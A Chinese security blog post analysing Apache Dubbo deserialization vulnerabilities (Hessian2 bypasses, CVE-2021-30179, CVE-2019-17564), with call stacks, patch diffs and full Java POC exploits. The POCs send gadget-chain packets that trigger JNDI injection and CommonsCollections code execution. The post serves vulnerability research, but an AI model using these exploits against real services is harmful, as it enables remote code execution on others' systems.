Dubbo

前言

趁着还没啥比赛,小学期等组长回复,看看Dubbo反序列化。

但是Dubbo反序列化根据版本不同,POC也挺多的,而且光这个Dubbo协议学起来就有一点难绷。

先来看看什么是Dubbo:

Apache Dubbo是一款阿里巴巴开源的轻量、高性能的Java RPC框架

随着微服务的盛行,除开服务调用之外,Dubbo也逐渐涉猎服务治理、服务监控、服务网关等,往Spring Cloud靠拢。

Dubbo RPC支持多种序列化方式:dubbo、hessian2、kryo、fastjson、java等。

image-20240902162941056

image-20240902163349526

Dubbo的搭建就免了,网上有太多太多,跟着搭就行了。

https://github.com/apache/dubbo-samples

使用Dubbo服务需要有一个注册中心zookeeper

https://zookeeper.apache.org/releases.html

Dubbo-Attack

Hessian

<=2.7.6

分析

影响范围:

1
2
3
2.7.0 <= Dubbo Version <= 2.7.6
2.6.0 <= Dubbo Version <= 2.6.7
Dubbo 所有 2.5.x 版本(官方团队目前已不支持)

这里主要是因为dubbo默认通过hessian协议进行反序列化造成的漏洞,环境可看:

https://github.com/apache/dubbo-spring-boot-project

可以在pom.xml中条件利用依赖,有有很多利用链,根据有什么依赖打什么链。

比如

1
2
3
4
5
SpringPartiallyComparableAdvisorHolder
SpringAbstractBeanFactoryPointcutAdvisor
Rome
ROME+CC
Groovy

等等。

以JNDI注入打ROME+CC为例:

调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)
hashCode:180, EqualsBean (com.rometools.rome.feed.impl)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2703, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2278, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2080, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2074, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:92, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:139, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:79, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
received:44, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

环境搭建偷个懒,直接贴图分析一波。

前面都是方法的触发调用,我们直接看到DecodeHandler#received

image-20240903165421675

跟进到无参方法:

image-20240903165444785

这里的inputStream是去掉Dubbo协议头的原始数据:

image-20240903165535368

此处获取了数据体的各个信息,其次进行数据处理后:

image-20240903165632577

看到readObject了,这里的in是Hessian2ObjectInput输入流对象,继续调用readObject方法,

继续调用readObject方法,之后会在readObject方法调用中计算出tag标识

image-20240903165759294

之后通过switch case语句进行对应逻辑调用:

image-20240903165817817

来到了MapDerializer#readMap的调用,后面就是hessian链了:

image-20240903165926476

后续跟进就不写了,可以去看原文章:Dubbo反序列化漏洞分析集合1 - 跳跳糖 (tttang.com)

patch

根据diff分析

https://github.com/apache/dubbo/compare/dubbo-2.7.6...dubbo-2.7.7#diff-a32630b1035c586f6eae2d778e19fc172e986bb0be1d4bc642f8ee79df48ade0L131

image-20240903170206345

判断了方法名是否等于$invoke $echo $invokeAsync ,如果方法名称不对的话, 就会直接抛出异常

2.7.7

虽然在2.7.7版本中判断了方法名称, 但是我们仍然有着绕过的思路

既然他的方法名只能够是这个,那我们就使得方法名用他们三个中的一个就行了

步骤:

将上面环境中的pom.xml中的版本改为2.7.7

且将comsumer端的方法名改为了$echo,之后运行

image-20240903170401145

image-20240903170409243

2.7.8

打默认Hessian2反序列化

在该版本中

isGenericCallisEcho中有了更多的限制

image-20240903170607800

限制了之后参数类型为Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object; 或者 Ljava/lang/Object; 的时候才会继续进行反序列化操作。上面的方法就寄了。

但接下来的反序列化姿势可以直接用到2.7.13,调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)
hashCode:180, EqualsBean (com.rometools.rome.feed.impl)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2733, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2308, Hessian2Input (com.alibaba.com.caucho.hessian.io)
expect:3561, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readString:1883, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readUTF:89, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:103, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:80, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
received:44, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

跟链子也偷个懒吧,不然我要写爆了….

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package org.apache.dubbo.spring.boot.demo.consumer;

import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.Cleanable;
import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput;

import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.net.Socket;
import java.util.HashMap;
import java.util.Random;

import static org.apache.dubbo.common.utils.FieldUtils.setFieldValue;

public class Exp {
private static Object getPayload() throws Exception {
//反序列化时ToStringBean.toString()会被调用,触发JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookup
String jndiUrl = "ldap://127.0.0.1:1389/xitdbc";
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiUrl);
rs.setMatchColumn("foo");

//反序列化时EqualsBean.beanHashCode会被调用,触发ToStringBean.toString
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);

//反序列化时HashMap.hash会被调用,触发EqualsBean.hashCode->EqualsBean.beanHashCode
EqualsBean root = new EqualsBean(ToStringBean.class, item);

//HashMap.put->HashMap.putVal->HashMap.hash
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
setFieldValue(s, "table", tbl);

return s;
}
public static void main(String[] args) throws Exception {
byte[] header = new byte[16];
Bytes.short2bytes((short) 0xdabb, header);
header[2] = (byte) ((byte) 0x80 | 2);
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);

ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
out.writeObject(getPayload());

out.flushBuffer();
if (out instanceof Cleanable) {
((Cleanable) out).cleanup();
}
Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
byte[] bytes = byteArrayOutputStream.toByteArray();

@SuppressWarnings( "resource")
Socket socket = new Socket( "127.0.0.1", 9999) ;
OutputStream outputStream = socket.getOutputStream();
outputStream.write(bytes);
outputStream.flush() ;
outputStream.close();
}
}
Hessian2 way 2

另一种利用方式就是在Dubbo协议解析的位置

org.apache.dubbo.remoting.exchange.codec.ExchangeCodec#decode方法中

image-20240903171016078

Dubbo格式:

image-20240903171032624

开头的magic位类似java字节码文件里的魔数,用来判断是不是dubbo协议的数据包,魔数是常量0xdabb,用于判断报文的开始

函数在解析dubbo协议时先判断请求头是否是魔术字0xdabb

当魔术头校验通过后,将会调用decodeBody方法

image-20240903171113020

函数获取flag标志位,一共8个地址位。

低四位用来表示消息体数据用的序列化类型(默认hessian),高四位中,第一位为1表示是request请求,第二位为1表示双向传输(即有返回response),第三位为1表示是心跳事件。调用相应的反序列化函数对数据流进行反序列化操作

当服务端判断接收到的为事件时,会调用decodeHeartbeatData,跟进发现调用了decodeEventData方法,接着调用了一个in.readObject(),再到readObject()

稍微将前面的payload修改一下将flag置为event事件就会触发漏洞

调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)
hashCode:180, EqualsBean (com.rometools.rome.feed.impl)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2733, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2308, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:94, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
readEvent:83, ObjectInput (org.apache.dubbo.common.serialize)
decodeEventData:400, ExchangeCodec (org.apache.dubbo.remoting.exchange.codec)
decodeBody:122, DubboCodec (org.apache.dubbo.rpc.protocol.dubbo)
decode:122, ExchangeCodec (org.apache.dubbo.remoting.exchange.codec)
decode:82, ExchangeCodec (org.apache.dubbo.remoting.exchange.codec)
decode:48, DubboCountCodec (org.apache.dubbo.rpc.protocol.dubbo)
decode:85, NettyCodecAdapter$InternalDecoder (org.apache.dubbo.remoting.transport.netty4)
decodeRemovalReentryProtection:498, ByteToMessageDecoder (io.netty.handler.codec)
callDecode:437, ByteToMessageDecoder (io.netty.handler.codec)
channelRead:276, ByteToMessageDecoder (io.netty.handler.codec)
invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)
channelRead:1410, DefaultChannelPipeline$HeadContext (io.netty.channel)
invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:919, DefaultChannelPipeline (io.netty.channel)
read:163, AbstractNioByteChannel$NioByteUnsafe (io.netty.channel.nio)
processSelectedKey:714, NioEventLoop (io.netty.channel.nio)
processSelectedKeysOptimized:650, NioEventLoop (io.netty.channel.nio)
processSelectedKeys:576, NioEventLoop (io.netty.channel.nio)
run:493, NioEventLoop (io.netty.channel.nio)
run:989, SingleThreadEventExecutor$4 (io.netty.util.concurrent)
run:74, ThreadExecutorMap$2 (io.netty.util.internal)
run:30, FastThreadLocalRunnable (io.netty.util.concurrent)
run:748, Thread (java.lang)

payload修改:

1
2
3
4
5
byte[] header = new byte[16];
Bytes.short2bytes((short) 0xdabb, header);
// header[2] = (byte) ((byte) 0x80 | 2);
header[2] = (byte) ((byte) 0x80 | 0x20 | 2);
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);

2.7.9

针对上一个版本hessian利用方式,对事件进行了长度限制:

image-20240903171400694

判断了待反序列化的数据长度是否超过配置的阈值(默认为50),如超过则抛出异常,不再继续反序列化,这样就导致了上面的way 2不能够使用了

但是上面的第一种方法仍然可以使用。

image-20240903171423720

CVE-2021-30179

影响:

Apache Dubbo 2.7.0 to 2.7.9

Apache Dubbo 2.6.0 to 2.6.9

小跟一下。

根据前面的分析我们知道,会调用DecodeHandler#decode方法进行处理

之后在DecodeHandler#decode方法中存在过滤操作:

image-20240908000841134

意为:

1
2
3
判断方法名是否为invoke或者invokeAsync,desc是否为Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;,如果不满足则直接抛出异常

decode完成之后将调用HeaderExchangeHandler.java#received方法处理请求,若为泛型引用,则将调用GenericFilter#invoke方法

在获取了方法名/类型/参数之后,将会通过反射获取该方法,如果不存在就会抛出异常

接下来将通过获取请求中的generic参数来选择通过raw.return/nativejava/bean反序列化参数成pojo对象。

image-20240908000942693

1、如果generic为raw.return或者true,将调用PojoUtils#realize方法

image-20240908001012036

image-20240908001018546

接着调用了readlize realize0

在readlize0中的逻辑为

若pojo为Map实例,则从pojo(也就是一开始的第三个参数)获取key为“class”的值,并通过反射得到class所对应的类type,再判断对象的类型进行下一步处理

如果type不是Map的子类、不为Object.class且不是接口,则进入else,在else中,对type通过反射进行了实例化,得到对象dest

再对pojo进行遍历,以键名为name,值为value,调用getSetterMethod(dest.getClass(), name, value.getClass());获取set方法

image-20240908001114136

,之后就可以通过org.apache.xbean.propertyeditor.JndiConverter类中的setAsText方法进行JNDI注入。

看一手调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
setAsText:59, AbstractConverter (org.apache.xbean.propertyeditor)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
realize0:483, PojoUtils (org.apache.dubbo.common.utils)
realize:211, PojoUtils (org.apache.dubbo.common.utils)
realize:99, PojoUtils (org.apache.dubbo.common.utils)
invoke:91, GenericFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
invoke:38, ClassLoaderFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
invoke:41, EchoFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
reply:145, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:152, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:177, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)

2、如果generic为bean, 则将会调用JavaBeanSerializeUtil#deserialize处理

image-20240908001222281

其中调用了instantiateForDeserialize方法,返回一个JavaBeanDescriptor描述的对象

之后调用deserializeInternal进行反序列化, 如果beanDescriptor.isBeanType()(只需要实例化JavaBeanDescriptor时指定即可),则将遍历beanDescriptor,获取property及value,调用getSetterMethod获取对应的set方法

最后利用反射执行method.invoke(dest, value);,就可以使用org.apache.xbean.propertyeditor.JndiConverter的setAsText打JNDI注入。

image-20240908001303999

调用栈为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
setAsText:59, AbstractConverter (org.apache.xbean.propertyeditor)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
deserializeInternal:282, JavaBeanSerializeUtil (org.apache.dubbo.common.beanutil)
deserialize:215, JavaBeanSerializeUtil (org.apache.dubbo.common.beanutil)
deserialize:204, JavaBeanSerializeUtil (org.apache.dubbo.common.beanutil)
invoke:115, GenericFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
invoke:38, ClassLoaderFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
invoke:41, EchoFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
reply:145, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:152, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:177, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)

3、如果generic是nativejava, 将遍历args,如果args[i]的类型为byte,以args[]为参实例化一个UnsafeByteArrayInputStream,再通过反射获得NativeJavaSerialization,再调用NativeJavaSerialization#readObject方法

image-20240908001352732

相当于执行了UnsafeByteArrayInputStream#readObject方法造成了反序列化

调用栈为:

1
2
3
4
5
6
7
8
9
10
11
readObject:371, ObjectInputStream (java.io)
readObject:50, NativeJavaObjectInput (org.apache.dubbo.common.serialize.nativejava)
invoke:98, GenericFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
invoke:38, ClassLoaderFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
invoke:41, EchoFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
reply:145, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:152, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:177, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)
POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
public static void main(String[] args) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

// header.
byte[] header = new byte[16];
// set magic number.
Bytes.short2bytes((short) 0xdabb, header);
// set request and serialization flag.
header[2] = (byte) ((byte) 0x80 | 2);

// set request id.
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);

// set body
out.writeUTF("2.7.9");
// todo 此处填写Dubbo提供的服务名
out.writeUTF("org.apache.dubbo.spring.boot.demo.consumer.DemoService");
out.writeUTF("");
out.writeUTF("$invoke");
out.writeUTF("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;");
// todo 此处填写Dubbo提供的服务的方法
out.writeUTF("sayHello");
out.writeObject(new String[] {"java.lang.String"});

// POC 1: raw.return
// getRawReturnPayload(out, "ldap://127.0.0.1:8087/Exploit");

// POC 2: bean
getBeanPayload(out, "ldap://127.0.0.1:1389/xitdbc");

// POC 3: nativejava
// getNativeJavaPayload(out, "src\\main\\java\\top\\lz2y\\1.ser");

out.flushBuffer();

Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());

byte[] bytes = byteArrayOutputStream.toByteArray();

//todo 此处填写Dubbo服务地址及端口
Socket socket = new Socket("127.0.0.1", 9999);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(bytes);
outputStream.flush();
outputStream.close();
}
private static void getRawReturnPayload(Hessian2ObjectOutput out, String ldapUri) throws IOException {
HashMap jndi = new HashMap();
jndi.put("class", "org.apache.xbean.propertyeditor.JndiConverter");
jndi.put("asText", ldapUri);
out.writeObject(new Object[]{jndi});

HashMap map = new HashMap();
map.put("generic", "raw.return");
out.writeObject(map);
}

private static void getBeanPayload(Hessian2ObjectOutput out, String ldapUri) throws IOException {
JavaBeanDescriptor javaBeanDescriptor = new JavaBeanDescriptor("org.apache.xbean.propertyeditor.JndiConverter",7);
javaBeanDescriptor.setProperty("asText",ldapUri);
out.writeObject(new Object[]{javaBeanDescriptor});
HashMap map = new HashMap();

map.put("generic", "bean");
out.writeObject(map);
}

private static void getNativeJavaPayload(Hessian2ObjectOutput out, String serPath) throws Exception, NotFoundException {
//创建TemplatesImpl对象加载字节码
byte[] code = ClassPool.getDefault().get("ysoserial.vulndemo.Calc").toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_name","RoboTerh");
setFieldValue(obj,"_class",null);
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
setFieldValue(obj,"_bytecodes",new byte[][]{code});

//创建 ChainedTransformer实例
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{obj}),
};
ChainedTransformer chain = new ChainedTransformer(transformers);

//创建TranformingComparator 实例
Comparator comparator = new TransformingComparator(chain);

PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(1);
priorityQueue.add(2);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(priorityQueue, comparator);

//序列化
ByteArrayOutputStream baor = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baor);
oos.writeObject(priorityQueue);
oos.close();
byte[] payload = baor.toByteArray();

out.writeObject(new Object[] {payload});

HashMap map = new HashMap();
map.put("generic", "nativejava");
out.writeObject(map);
}
patch

在2.7.10版本使用了黑名单来阻断raw.return和bean这两条链

分别在org\apache\dubbo\common\utils\PojoUtils.java#realize0 org\apache\dubbo\common\beanutil\JavaBeanSerializeUtil.java#name2Class

而nativejava则通过判断配置文件是否允许nativejava的反序列化。

HTTP

除了hessian,还有个稍微有点远的http漏洞CVE-2019-17564

影响范围

  • 2.7.0 <= Apache Dubbo <= 2.7.4
  • 2.6.0 <= Apache Dubbo <= 2.6.7
  • Apache Dubbo = 2.5.x

这个CVE主要是因为在发送POST请求的时候将会将body中的数据进行反序列化处理造成了漏洞

我们可以在开启服务提供者了之后,在org.apache.dubbo.remoting.http.servlet.DispatcherServlet#service处打下断点,这个类主要是处理请求的分发的类,在接收到http请求之后会调用service方法

之后随便发送一个post请求。

1
curl -X POST -d 'aa' 'http://192.168.56.1:8080/org.apache.dubbo.samples.http.api.DemoService'

image-20240908001650492

成功拦截了这个handler,之后会调用handle方法:

image-20240908001703249

之后调用request.getRequestURI方法,获取path路径,之后会在之后查找uri路径是否在skeletonMap中:

image-20240908001720829

如果没有,之后将会返回错误,因为没有提供对应的服务。

之后就是获取远程地址和远程地址的端口,最后调用了skeleton.handleRequest方法

这个时候skeleton是HttpInvokerServiceExporter类,值得关注的他的contentType居然是application/x-java-serialized-object类型:

image-20240908001740453

来到handleRequest方法:

image-20240908001807350

跟进readRemoteInvocation方法调用:

image-20240908001818635

继续调用其方法重载(加上了个request作用域的输入流作为参数:

image-20240908001830796

在上面箭头位置,比如要在request域中获取inputstream,不然不会进入doReadRemoteInvocation方法的调用

我们跟进漏洞触发点方法doReadRemoteInvocation方法:

image-20240908001849228

在这里将ois这个ObejctInputStream对象直接没有过滤就进行了反序列化的调用,造成了反序列化漏洞。

若是有个CC3.2的依赖,直接可以打CC4了。

patch

2.7.5版本中,在获取了skeleton之后调用其handle方法,此时的skeleton是JsonRpcServer对象:

image-20240908001938135

我们也可以知道其是调用的其父类的handler方法:

image-20240908001949320

在其中没有可反序列化的操作:

image-20240908001959494

当然还有 Redis / Kryo等等协议造成的漏洞等。

Hessian协议还有CVE-2021-37579,也有toStringBean的漏洞CVE-2021-43297,详见Dubbo反序列化漏洞分析集合2 (qq.com)

参考:

Dubbo反序列化漏洞分析集合1 - 跳跳糖 (tttang.com)

Dubbo | Java (gitbook.io)

Apache Dubbo 反序列化漏洞复现笔记 | l3yx’s blog

Dubbo反序列化漏洞分析集合2 (qq.com)


Dubbo
https://eddiemurphy89.github.io/2024/09/02/Dubbo/
作者
EddieMurphy
发布于
2024年9月2日
许可协议